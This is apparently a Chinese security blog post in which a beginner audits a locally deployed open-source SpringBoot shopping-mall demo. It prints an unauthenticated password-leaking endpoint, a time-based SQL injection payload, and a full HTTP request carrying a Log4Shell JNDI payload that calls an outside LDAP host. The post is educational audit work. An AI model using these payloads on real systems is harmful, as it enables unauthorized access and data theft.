freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

JAVA代审—某迷你天猫商城
小L不会挖洞 2025-03-18 13:37:32 30198
所属地 河南省

迷你天猫商城是一个基于SpringBoot框架的综合性B2C电商平台,需求设计主要参考天猫商城的购物流程:用户从注册开始,到完成登录,浏览商品,加入购物车,进行下单,支付,确认收货,评价等一系列操作。 作为模拟天猫商城系统的核心组成部分之一,采用Springboot框架的天猫数据管理后台包含商品管理,订单管理,类别管理,用户管理和交易额统计等模块,实现了对整个商城的一站式管理和维护。

部署

环境:

jdk1.8

mysql5.7

(第一次审计java项目,还在学习中)

项目使用IntelliJ IDEA开发,请使用IntelliJ IDEA的版本控制检出功能,https://gitee.com/zwp1341710922/e-commerce-management-system.git,需要先建立数据库tmalldemodb,然后导入sql文件。

等待依赖安装完毕后,运行项目。

访问地址:http://localhost:8082/tmall/admin/login(账户名和密码在admin表里)

(登录如果报错的话需要调整一下mysql的配置,临时禁用ONLY_FULL_GROUP_BY模式)

SET GLOBAL sql_mode = (SELECT REPLACE(@@sql_mode, 'ONLY_FULL_GROUP_BY', ''));

然后正常登录后台

1742110623_67d67f9fdb778e5565ab7.png!small?1742110625037

部署完成

-------------------------------------------------------分割线------------------------------------------------

开始审计

未授权*1

因为项目采用了mybitis框架开发,我就直接搜索order by,like关键字,这种地方可能没有采用预编译。

来到com/xq/tmall/controller/admin/UserController.java文件下。

1742110981_67d68105c4d0e294a78c9.png!small?1742110982964

直接拼接路径/tmall/admin/user会提示未登录,跳转到登录界面

1742111051_67d6814bdcb8a4aabd39d.png!small?1742111052932

跟上完整参数/tmall/admin/user/1/10,神奇的返回了数据

admin/user/{index}/{count}

1742111163_67d681bb6ab7276bebd8c.png!small?1742111164493

包含用户密码,未授权一枚~

看看为什么这个地方可以直接访问

其他方法都使用了以下鉴权

logger.info("检查管理员权限");
Object adminId = checkAdmin(session);

1742111510_67d68316c0983a7b6fb65.png!small?1742111511837

再看目标方法,没有该鉴权部分???不知道开发者怎么想的

sql注入*1

不要忘记我们原本是要找sql注入的漏洞

http://localhost:8082/tmall/admin/user/1/10?orderBy=1

数据库执行的是

SELECT user_id,user_name,user_nickname,user_password,user_realname,user_gender,user_birthday,user_profile_picture_src,user_address,user_homeplace FROM user ORDER BY 1 desc LIMIT 10,10

1742112302_67d6862e0af3efd519577.png!small?1742112306073


当我输入/tmall/admin/user/1/10?orderBy=IF(1=1,+sleep(1),+1)--+时,延迟了近21秒。sleep(3)延迟了60多秒。。。。。。

1742112734_67d687de718b0e43c6f4d.png!small?1742112735845

让我们来到dao层看看代码

UserMapper.java文件声明了数据操作方法(如selectinsertOne),定义方法签名参数结构

UserMapper.xml通过<select><insert>等标签编写具体SQL,通过namespace绑定到接口,是具体的实现。

<mapper namespace="com.xq.tmall.dao.UserMapper">

绑定XML到指定Mapper接口(com.xq.tmall.dao.UserMapper)。

可以看到使用的是${},存在sql注入

1742115245_67d691adad442fbd9c91a.png!small?1742115246766

先看看框架漏洞吧

-----------------------------------------------------------------------------------------------------------------------

框架漏洞

我们来一个个看

1742117095_67d698e7879c41883c01b.png!small?1742117096726

log4j

因为使用了2.10.0版本的log4j,可能存在CVE-2021-44228,CVE-2021-45046漏洞

1742191003_67d7b99bc7f206b697f3c.png!small?1742191004233

接下来去代码里搜索 logger. 寻找可能触发的地方

1742191242_67d7ba8ab2c86b192b1f0.png!small?1742191243196

上传图片处调用了


logger.info("获取图片原始文件名:{}", originalFileName);

此处存在漏洞,并且无需登录即可触发。


POST /tmall/user/uploadUserHeadImage HTTP/1.1

Host: localhost:8082

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=---------------------------171182472826653739854099729287

Sec-GPC: 1

Accept: application/json, text/javascript, */*; q=0.01

Origin: http://localhost:8082

Referer: http://localhost:8082/tmall/userDetails

DNT: 1

X-Requested-With: XMLHttpRequest

Content-Length: 39954


-----------------------------171182472826653739854099729287

Content-Disposition: form-data; name="file"; filename="${jndi:ldap://aaqcbsawpd.zaza.eu.org}"

Content-Type: image/jpeg


123

1742195382_67d7cab6aad4ce5b2ee5d.png!small?1742195383005

FastJason

全文查找JSON.parse()JSON.parseObject()这两个

就先写到这吧。。。不知道为什么maven下载的依赖和pom文件里的依赖版本对不上

1742194008_67d7c558d4854d4c1a354.png!small?1742194009347


# Java代码审计
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 小L不会挖洞 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
代码审计
小L不会挖洞 LV.3
这家伙太懒了,还未填写个人描述!
  • 6 文章数
  • 3 关注者
Java-sec-code靶场分析练习
2025-03-18
Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)
2025-02-28
Apache Log4j(CVE-2017-5645)反序列化学习
2025-02-28
文章目录